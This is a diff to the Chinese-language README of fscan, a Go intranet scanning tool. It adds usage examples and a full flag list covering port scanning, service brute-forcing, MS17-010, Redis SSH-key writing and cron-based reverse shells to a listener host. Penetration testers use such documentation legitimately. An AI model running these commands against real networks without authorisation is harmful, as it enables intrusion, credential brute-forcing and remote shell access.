update

README.md

@@ -1,17 +1,60 @@
 # fscan
 
+
 一款内网扫描工具，方便一键大保健。  
 支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写私钥、计划任务反弹shell、读取win网卡信息等。  
 趁着最近有空，用go把f-scrack重构了一遍。使用go来编写，也有更好的扩展性及兼容性。  
 还在逐步增加功能，欢迎各位师傅提意见。
 
+
+## why
+
+
+
 ## usege
+简单用法
 ``` 
 go run main.go -h 192.168.1.1/24
 fscan.exe -h 192.168.1.1/24
 fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写私钥)
 fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
 fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后，命令执行)
+fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
+```
+
+完整参数
+```
+Usage of C:\Users\shadow1ng\AppData\Local\Temp\___go_build_main_go__1_.exe:
+  -c string
+    	exec command (ssh)
+  -h string
+    	IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
+  -m string
+    	Select scan type ,as: -m ssh (default "all")
+  -no
+    	not to save output log
+  -np
+    	not to ping
+  -o string
+    	Outputfile (default "result.txt")
+  -p string
+    	Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,23,80,135,443,445,1433,1521,3306,5432,6379,7001,8080,8089,9000,9200,11211,27017")
+  -pwd string
+    	password
+  -pwdf string
+    	password file
+  -rf string
+    	redis file to write sshkey file (as: -rf id_rsa.pub) 
+  -rs string
+    	redis shell to write cron file (as: -rs 127.0.0.1:4444) 
+  -t int
+    	Thread nums (default 100)
+  -time int
+    	Set timeout (default 3)
+  -user string
+    	username
+  -userf string
+    	username file
 ```
 
 `fscan.exe -h 192.168.x.x`